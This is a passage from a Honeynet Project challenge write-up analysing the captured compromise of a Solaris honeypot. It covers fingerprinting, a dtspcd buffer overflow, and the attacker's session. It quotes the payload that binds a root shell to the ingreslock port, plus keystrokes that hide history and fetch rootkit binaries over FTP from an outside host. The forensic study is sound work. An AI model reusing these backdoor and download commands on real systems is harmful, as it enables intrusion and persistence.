Scan 28
Writeup by Dophine V. Britanico
Acknowledgment
To GOD for without his guidance you're not reading this man.
To Mr. Raul Garcia of the AT&T Mexico Honeynet for sharing his logs to all of us.
To all the Nice People of the Honeynet Project for starting this fun.
To the Computer Security Community.
To all who submit entries here past and future. Keep on submitting.
To my daughters who inspire me.
Table of Contents
II. Conventions Used in This Write-Up Article
III. The Beginning A Road to Perdition
IV. Step Taken And Technical Analysis
Peek a boo tee (day1.log.gz my first attempt )
V. My Poor Digital Forensics, A Technical Analysis
A. Operating System Fingerprinting: (Ans. to Honeynet Question 1)
Technique I Utilizing Ethereal Ethernet field
Technique II Passive OS Fingerprinting
B. Break-In (Ans. to Honeynet Question 2)
Attacker Remote Buffer Overflow and Our favorite Protocol Analyzer Dump
Buffer Overflow TCP Stream Content
C. Operation Recon (Ans. to Honeynet Question 3)
D. Attack Sequence Diagram (Ans. to Honeynet Question 4)
E. Breaking ‘’skillz’’ Inside Downloaded Tar Balls (Ans. To Honeynet Question 5)
F. Covert Datagrams (Ans. to Honeynet Question 6)
DDOS Shaft Reference My Analysis
G. La Gringo y Nacionalista Partida Con Retarded (Ans. to Honeynet Question 7)
Random translation sample taken from IRC session
Fact from psyBNC Documentation
Truth or Lies or Both ( Assumption One )
Fact from the Logs and Sample psyBNC session logs
Members of the AT&T Mexico Honeynet captured a unique attack. As common, what is interesting is not how the attackers broke in, but what they did afterwards. Your mission is to analyze the network capture of the attacker's activity and decode the attacker's actions. There are two binary log files. Day1 captured the break in, Day3 captures some unique activity following the compromise. The honeypot in question is IP 192.168.100.28. Make sure you review the challenge criteria before submitting your writeup.
II. Conventions Used in This Write-up Article
This article uses the following conventions:
Small face courier new fonts are output or results of queries done.
Italicized font are commands
Honeynet refers to http://project.honeynet.org
Honeypot refers to 192.168.100.28 or zoberius.example.net.mx
Intruder , attacker, blackhat, and scripty refers to cracker.
Hacker refers to all of us
Red courier new fonts are of those of the attacker
BOLDFACE, italics, notes or other relevant information, and rants are mine
Corrections or errors and anything else incognito are not mine.
III. The Beginning A Road to Perdition
I’ll skip the part illustrating how I downloaded the binary compress log file, since it is obvious everybody with computer background knows how to download particular file/s from the net regardless of skills and Operating system the particular user/s is using, illustrating here is unnecessary. Next performing an md5sum of the binaries is I think also not necessary but to make it sure I follow one instinctive rule I acquired in computer security that I should not trust any body. (I mean files/binaries IMHO). In Linux that should look like.
1. [root@katana /tmp]# /usr/bin/md5sum day1.log.gz day3.log.gz
79e5871791542c8f38dd9cee2b2bc317 day1.log.gz
af8ab95f41530fe3561b506b422ed636 day3.log.gz
After comparing our md5sum to the one posted by honeynet I absolutely know for sure that the two binaries are standard compress files in Gnu zip format, and it can be extracted by our usual UNIX binaries or in Windows PKZIP, WinRar and Etc. Here’s the command line.
2. [root@katana /tmp]#/usr/bin/file -z day1.log.gz day3.log.gz
day1.log.gz : tcpdump capture file (little-endian) – version 2.4 (Ethereal, capture length 1514) (gzip compressed data, deflated, original filename, last modified blah.. os: Unix)
day3.log.gz : tcpdump capture file (little-endian) – version 2.4 (Ethereal, capture length 1514) (gzip compressed data, deflated, original filename, last modified blah.. os: Unix)
3. [root@katana /tmp]#/usr/bin/gzip –d day1.log.gz day3.log.gz
The file command at 2 confirms that it can be feed on Ethereal, Tcpdump or Snort. Ethereal is my first choice since I use it every time I connect to the internet and besides of its excellent documentation, ease of use and free. I found it easy yet powerful. www.ethereal .com provides technical reference and frequently ask questions.
The next paragraphs down below demonstrates how I mangle the answers to the questions posted by honeynet project so lets get going. :-) To the non – technical audience just go to the Q&A portion.
IV. Steps Taken and Technical Analysis
Among the blackhat community and as I usually observed with past and present vulnerability or exploit codes written and submitted by blackhat and whitehat alike seems to have common characteristics either the exploit is local or remote one have had almost connect to well known ports of the target system, while on some instances have had on the high port above 1024++, excluding of course those of Remote Administration Trojans (RAT), and anything the blackhat may conjure out of digital vastness of the target Operating System. I do not say that It can not be circumvented that my assessment is not correct but there’s nothing (we) lost if lets say applied again this time, thinking like a cracker be a good start.
So I load the first logs (day1.log) within Ethereal and at first glance I see lots of UDP traffic directed to our honeypot (192.168.100.28) but I have no Idea what’s going on unless I follow every packet on the logs which is insanity. Imagine that on a large real world scenario let say an ISP with a not less than thousand subscribers running 24/7 and suddenly defaced and you as an independent digital forensic expert commissioned to siphoned, filter, make a perfect assessment of the intruder, how it was done, where, when and other attributes that will make an arrest, complicate it more with a deadline and hundreds or perhaps thousands of megabytes of raw packet log data, where to start, where to begin and other what ifs are most of the concerned of people like us. But thanks to Ethereal the Free Network Protocol Analyzer and some deep knowledge of the working craziness and technical parlance of the TCP/IP protocol and other sci-fi sounding network related protocols by equally sci-fi sounding organizations, work is not hard but time consuming. To begin I have this in mind and I religiously consult it every time I Hack my systems and Analyze logs like this one. It may and may not work for you.
1. Tools ( Computers and Includes O.S.) want a good list of some http://www.nmap.org/tools.html ; - ) depends on what side and color your in.
2. Test System ( To the expert you can do it on your production system, if your using specialize software like vmware for a network stimulation and for a cost )
3. Theory / Lies / Truths / and Paranormal Thinking something like pre-cog like vision of Lies.. On this exercise here is mine.
a. filter ip.dst eq honeypot and tcp.flags.syn (3 way handshake) and tcp.port eq lt 1024 (Well known Ports) other filter like lt 7000 and not eq 1024
b. ip.dst eq honeypot and ip.proto eq UDP / TCP et all
c. ip.src honeypot and ip.dst IP and 3 way handshake or SYN/RST/FIN/URG
d. Snort IDS to help us Identify potential security breach because I can’t memorize it all Dooh! I bet my arse even the most expert of the expert in computer security cannot memorize and summarize and technically present all of the security exploit in mind in one big swoop without reference or tools of some sort.
e. Analyze Filter Results
4. Test, Verify, Test again and Lie to the teeth if assessment is incorrect back to checklist 3.
5. Caffeine and Stamina.
Peek a boo tee (day1.log.gz my first attempt )
Filter description: enumerate all possible 3 way handshake connection destined to IP address honeynet from any IP address connecting to well known ports and pipe the result to file handshake_a.
ip.dst eq honeynet and tcp.flags.syn and tcp.port lt 1024 > handshake_a
Here’s the filter summary and it seems interesting
203.69.233.93 -> 192.168.100.28 TCP 2341 > 443 3 attempt
61.144.145.243 -> 192.168.100.28 TCP 3668 > 80
62.211.66.16 -> 192.168.100.28 TCP 21 > 32783 [SYN, ACK] Well :-)
62.211.66.53 -> 192.168.100.28 TCP 80 > 32789
62.211.66.53 -> 192.168.100.28 TCP 80 > 32789
62.211.66.53 -> 192.168.100.28 HTTP HTTP/1.1 200 OK
192.18.99.122 -> 192.168.100.28 TCP 21 > 32791
61.221.179.26 -> 192.168.100.28 TCP 4342 > 23 1 attempt
206.252.192.195 -> 192.168.100.28 TCP 7254 > 113 9 attempt
67.195.152.135 -> 192.168.100.28 TCP 1146 > 139 3 attempt
66.28.103.87 -> 192.168.100.28 TCP 1742 > 443 1 attempt
211.75.30.52 -> 192.168.100.28 TCP 1159 > 443 1 attempt
64.24.196.50 -> 192.168.100.28 TCP 0 > 3128 Portscan ?
64.24.196.50 -> 192.168.100.28 TCP 0 > 80
64.24.196.50 -> 192.168.100.28 TCP 0 > 8080
Filter description: enumerate all possible 3 way handshake connection destined to IP address honeynet from any IP address connecting to ports less than 7000 but not less than well known ports and pipe the result to file handshake_b.
ip.dst eq honeynet and tcp.flags.syn and tcp.port lt 7000 and
not tcp.port le 1024 > handshake_b
24.167.44.129 -> 192.168.100.28 TCP 3018 > 1433 3 attempts
61.144.145.243 -> 192.168.100.28 TCP 3667 > 8080,3128 6 attempts
203.239.31.60 -> 192.168.100.28 TCP 1191 > 1433 3 attempts
67.36.28.116 -> 192.168.100.28 TCP 3916 > 1433 3 attempts
61.219.90.180 -> 192.168.100.28 TCP 56399 > 6112 our honeypot performs
SYN/PSH/ACK and it seems it acknowledge it.
We got a break in?
80.117.14.44 -> 192.168.100.28 TCP 3934 > 7000 Let see this on RFC 1700
206.252.192.195 -> 192.168.100.28 TCP 6667 > 32795 Oh! IRC
211.214.125.74 -> 192.168.100.28 TCP 2262 > 1433 3 attempts
64.231.37.135 -> 192.168.100.28 TCP 3731 > 1433 3 attempts
c. Third filter acthung confirmation
Filter description: enumerate all possible IP address that our honeynet acknowledge [ACK] and deny and pipe the result to file acthung.
ip.src eq honeynet and tcp.flags.ack > acthung
192.168.100.28 -> 24.167.44.129 TCP 1433 > 3018 [RST, ACK] denied 3x
192.168.100.28 -> 203.69.233.93 TCP 443 > 2341 [RST, ACK]
192.168.100.28 -> 61.144.145.243 TCP 80,8080 > 3667 [RST, ACK]
192.168.100.28 -> 203.239.31.60 TCP 1433 > 1191 [RST, ACK] denied 3x
192.168.100.28 -> 67.36.28.116 TCP 1433 > 3916 [RST, ACK denied 3x
192.168.100.28 -> 61.219.90.180 TCP 6112 > 56399 [SYN, ACK] Break in
192.168.100.28 -> 62.211.66.16 TCP 32783 > 21 [SYN] FTP Request
192.168.100.28 -> 62.211.66.53 TCP 32789 > 80 [SYN] HTTP Request
192.168.100.28 -> 192.18.99.122 TCP 32791 > 21 [ACK] Another FTP Request
192.168.100.28 -> 61.221.179.26 TCP 23 > 4342 [RST, ACK] denied
192.168.100.28 -> 80.117.14.44 TCP 7000 > 3934 [SYN, ACK] Gryphon
192.168.100.28 -> 206.252.192.195 TCP 32795 > 6667 [SYN] IRC
192.168.100.28 -> 64.231.37.135 TCP 1433 > 3731 [RST, ACK] denied 3x
192.168.100.28 -> 64.24.196.50 TCP 3128,80,8080,1080>0 [RST,ACK] denied 4x
ip.dst eq honeynet and ip.proto eq 0x01 (ICMP) > icmp
192.168.100.28 -> 10.12.9.141 ICMP Destination unreachable
218.17.158.135 Interesting PortScan?
200.171.38.61
148.244.153.69 -> 192.168.100.28
148.244.153.69 -> 192.168.100.28
64.14.117.10 -> 192.168.100.28 ICMP Echo (ping) request
63.218.7.130 -> 192.168.100.28
.
... <Cut Here>
e. Day1 filter results summary
Going back to the results of our first, second, and third filter we can clearly see that we’ve got a standard mark of network probe or recon going on targeting our honeypot well known services (RFC 1700). Clearly seen also in third filter results our honeypot denied some of them and initiates a connections with IP 62.211.66.16 and 62.211.66.53.
Probe / Recon Results
Service Port
http 80
web-cache/proxy 8080
http secure 443
telnet 23
auth. tap ident 113
netbios session service 139
sql 1433
And going on further detail of IP address 62.211.66.16 and 62.211.66.53 Initiating an ftp and http request, (this does not mean that IP address 62.211.66.16 and 62.211.66.53 are our potential intruders because our result in our third filter verified that the IP address clearly came from our honeypot) we followed packet stream starting at 62.211.66.16 and we got this:
220 services FTP server (Version XOOM FTP 1.24.3+local-release Fri Aug 28 15:52:40 PDT 1998) ready.
USER bobzz
331 Password required for bobzz.
PASS joka
230 User bobzz logged in.
PORT 192,168,100,28,128,16
200 PORT command successful.
RETR wget
150 Opening ASCII mode data connection for wget (136288 bytes).
226 Transfer complete.
PORT 192,168,100,28,128,17
200 PORT command successful.
RETR dlp
150 Opening ASCII mode data connection for dlp (1587 bytes).
226 Transfer complete.
PORT 192,168,100,28,128,18
200 PORT command successful.
RETR solbnc
150 Opening ASCII mode data connection for solbnc (109372 bytes).
226 Transfer complete.
PORT 192,168,100,28,128,19
200 PORT command successful.
RETR iupv6sun
550 iupv6sun: No such file or directory.
PORT 192,168,100,28,128,20
200 PORT command successful.
RETR ipv6sun
150 Opening ASCII mode data connection for ipv6sun (480 bytes).
226 Transfer complete.
QUIT
221 Goodbye.
Decoding from this data someone manage to get in from our honeypot and downloaded from ftp, files probably rootkits or something? Since we do not know for sure how the intruder get in and how the file works we continued decoding packet stream from 62.211.66.53 and here’s what we’ve got:
GET /bobzz/sol.tar.gz HTTP/1.0
User-Agent: Wget/1.5.3
Host: 62.211.66.53:80
Accept: */*
.
..
Lets save the file to sol.tar.gz so that we can analyze it later. Our first assessment seems to answer some of the question of the honeynet project and with the partial data at hand we can now visually illustrate the sequences involved on the attack and how it works, before we go any further lets take a more in depth technical look and the same time we will answer questions 1 to 4 of the honeynet project. For the less technical audience I recommend going straight to Q&A section of this article. Down Below. Ok!, Lets Rock!
V. My Poor Digital Forensics, a Technical Analysis
A. Operating System Fingerprinting the Honeypot ( Honeynet Question 1)
1.) Technique I Utilizing Ethereal Ethernet field
2.) Technique II Passive OS Fingerprinting
3.) Technique III Other Methods
4.) Other Relevant Evidences
5.) Os Fingerprinting Summary
B. Break-In (Honeynet Question 2)
1.) Attacker Remote Buffer Overflow and Our favorite Protocol Analyzer Dump
2.) Buffer Overflow TCP Stream Content
3.) Attacker Keystrokes
C. Operation Recon (Honeynet Question 3)
1.) Snort Results
2.) UDP Traffic
3.) P0f Results
4.) Queries
5.) Operation Recon Summary
D. Attack Sequence Diagram (Honeynet Question 4)
E. Breaking ‘’skillz’’ Inside the Downloaded Tar Balls (Honeynet question 5)
1.) skillz summary
F. Covert Datagrams (Honeynet question 6)
1.) Snort Application Layer dump
2.) DDOS Shaft Reference My Analysis
a.) DDOS Overview
b.) Sample Layman’s Data
c.) Sample Technical Data
d.) DDOS Results
3.) Covert Datagrams Summary
G. La Gringo y Nacionalista Partida Con Retarded (Honeynet Question 7)
1.) Overview
2.) Random translation sample taken from IRC session
3.) Fact from psyBNC Documentation
4.) Truth or Lies or Both ( Assumption One )
5.) Fact from the Logs and Sample psyBNC session logs
6.) Assumption Two
7.) Enter The Rootkit
8.) Final Assumption
A. Operating System Fingerprinting: (Honeynet Question 1)
We will skip and not go on the detail again on the part on internet communication using TCP/IP specially, since reference and articles on this topic abound the Net I’ll suggest google it. Neither I’ll re-write nor discuss fingerprinting articles here, what I discuss is how I manage somehow to figure out the answer to question number 1 of the honeynet project. For details of O.S. fingerprinting articles and others references used here, please go to the References section.
1. Technique I (going once) ethereal ethernet field
Ethereal has built in OS fingerprinting code block AFAIK and it can identify with certain accuracy the operating systems of the source and destination IP address from the packet frame Ethernet field: Here’s a sample taken from day1.log.gz:
Src Addr: 192.168.100.28 Dst Addr: 10.12.9.141
Ethernet II, Src:08:00:20:d1:76:19, Dst: 00:07:ec:b2:do:0a
Destination: 00:07:ec:b2:do:0a (Cisco_b2:d0:0a)
Source: 08:00:20:d1:76:19 (Sun_d1:76:19)
‘’Using filter tcp.flags.syn and ip.dst eq 192.168.100.28 reveals all other IP address connected initiating a 3 way handshake with the honeypot and taking random packet sample data shows similar results for IP address 192.168.100.28 a perfect start if blind guessing for the first time. So our initial guess of the honeypot OS is Sun Operating System.’’
2. Technique II (going twice) Passive OS Fingerprinting
According to Max Vision Passive Host Fingerprinting is the practice of determining a remote operating system by measuring the peculiarities of observed traffic without actively sending probes to the host. His paper and other reference related to Passive Host Fingerprinting is on the References section so I will not repeat it here. To determined the OS of a certain IP address or trace the origin of the offending IP address, we can use the Time To Leave (TTL) values to determine the OS type and even with accuracy trace back the offending IP address back to his upstream provider without him / her knowing. Combine with window size, maximum segment size, don’t fragment flags, window scaling, sackOK flag, and nop flag of the TCP/IP stack we can 90% sure identify the remote Operating System. Here’s our honeypot uniq OS signature.
Note: This can all be spoof and injected raw in a packet.
day1.log.gz packet frame 562 src ip eq 192.168.100.28
window size = 24616
Initial TTL = 64
Maximum segment size = 1460 bytes
Don’t Fragment Flag = 1 (0=unset, 1=set)
Window Scaling = -1 (not present)
SackOK Flag = Permitted
Nop Flag = 1 (Set)
And Winnie the ‘p0f’ reveals honeypot using Sun OS 5.8 on Sparc. Accurately.
3. Technique III (going thrice) Other Methods
NMAP stealth network scanner – use for covert recon and OS identification of local and remote systems, useful on real-time back-trace in case your machine is compromise and paranoid.
There are other useful tools that can duplicate all of the above.
You can gooooooooooogle it..
4. Other Evidences Honeypot using Sun OS 5.8 on Sparc
1. After the successful remote buffer overflow attacker type unix command
#uname –a
SunOS zoberius 5.8 Generic_108528-09 sun4u sparc SUNW,Ultra-5_10
2. FTP download of Sun rootkits binaries and FTP download from Sun Microsystems FTP site
3. Unix file description of some of the binaries e.q. solsch
[root@katana /tmp]# /usr/bin/file solsch
solsch: ELF 32-bit MSB executable, SPARC, version 1, dynamically linked (uses shared libs), not stripped
I don’t personally recommend technique (I) which result give you a wild goose chase since raw packet injection is widely used by Blackhats, I may be wrong with this but technique number (I) is just a good base line on what to expect, technique (II) is far more accurate and technique (III) combine with technique (II) and Ethereal provide very accurate results. And that’s how I figured out the answer of project honeynet questions 1.
B. Break-In (Honeynet Question 2)
Back on filter number two and filter number 3 I’ve notice that our honeynet established a connection to IP address 61.219.90.180 (192.168.100.28 -> 61.219.90.180 TCP 6112 > 56399 [SYN, ACK] ) and upon closer scrutiny of the packet capture beginning at packet frame 561 we’ve got this awesome data. An again, again for the less technical audience please skip to the Q&A section or press Alt-F4.
1. Attacker Remote Buffer Overflow and Our favorite Protocol Analyzer Dump
Packet
1. 61.219.90.180 requesting connection [SYN] to 192.168.100.28 dest port 6112
2. 192.168.100.28 ACK it [Packet 1]
3. 61.219.90.180 requesting connection again this time port 1524 [ingresslock]
4. 192.168.100.28 Reset Connections [RST,ACK] [Packet 3]
5. 61.219.90.180 requesting connection [SYN] dest port 6112
6. 192.168.100.28 ACK it [Packet 5]
7. 61.219.90.180 ACK it and Sends data [PSH,ACK] 000000 02040000d0001 4 .root..10..
8. 192.168.100.28 ACK it [Packet 7] 000000001400320001 3 //.SPC_AAAVTaqDd 1000 zoberius:SunOS:5.8:sun4u
9. 61.219.90.180 Injects a remote buffer overflow packet 585 with 1282 bytes of
AAAAAAAAAAAAAAAAAAAAAAAA… <cut>
10. 192.168.100.28 ACK it and binds port 1524 ingresslock to attacker 61.219.90.180
2. Buffer Overflow TCP Stream Content
/bin/ksh -c echo "ingreslock stream tcp nowait root /bin/sh sh -i" > /tmp/x
/usr/sbin/inetd -s /tmp/x
sleep 10
/bin/rm -f /tmp/x AAAAAAAAAAAAAAAAAAAAAAAAA... <cut>
“That’s seems to answer our question on how the attacker penetrate our honeypot. Next we follow the packet stream between our attacker session with our honeypot using port 1524/ingresslock and take a glimpse of the attackers keystrokes next...”
3. Attackers Keystroke : (reformatted from the stream for clarity)
Attacker issues uname command to print system information like machine, network, and OS release.
#uname –a
SunOS zoberius 5.8 Generic_108528-09 sun4u sparc SUNW,Ultra-5_10
#ls -l /core /var/dt/tmp/DTSPCD.log
/core: No such file or directory
/var/dt/tmp/DTSPCD.log: No such file or directory
Attacker Sets Path so that he/she can execute remote victim OS binaries
#PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/ccs/bin:/usr/gnu/bin;export PATH
Attacker probably looking if BD Process ID exist (I don’t know if BD stands for BackDoor since I don’t have any SUN OS at hand)
#echo "BD PID(s): "`ps -fed|grep ' -s /tmp/x'|grep -v
grep|awk '{print $2}'`
BD PID(s): 1773
Attacker execute wget binary to download but hopefully it is not on the victim OS
# wget
wget: not found
Tried to see who’s online to make it sure (Lucky! And Honeypot uptime is 13 days eh!)
# w
9:44am up 13 day(s), 4:24, 0 users, load average: 0.00, 0.00, 0.01
User tty login@ idle JCPU PCPU what
Set shell to interactive mode
# /bin/sh -i
unset HISTFILE
# unset DISPLAY
mkdir /usr/share/man/man1/.old
cd /usr/share/man/man1/.old
Attacker FTPed to 62.211.66.16
# ftp 62.211.66.16 21
bobzz
ftp: ioctl(TIOCGETP): Invalid argument
Password:joka
Downloaded binaries
get wget
get dlp
get solbnc
get iupv6sun
Name (62.211.66.16:root): iupv6sun: No such file or directory.
get ipv6sun
quit
&nb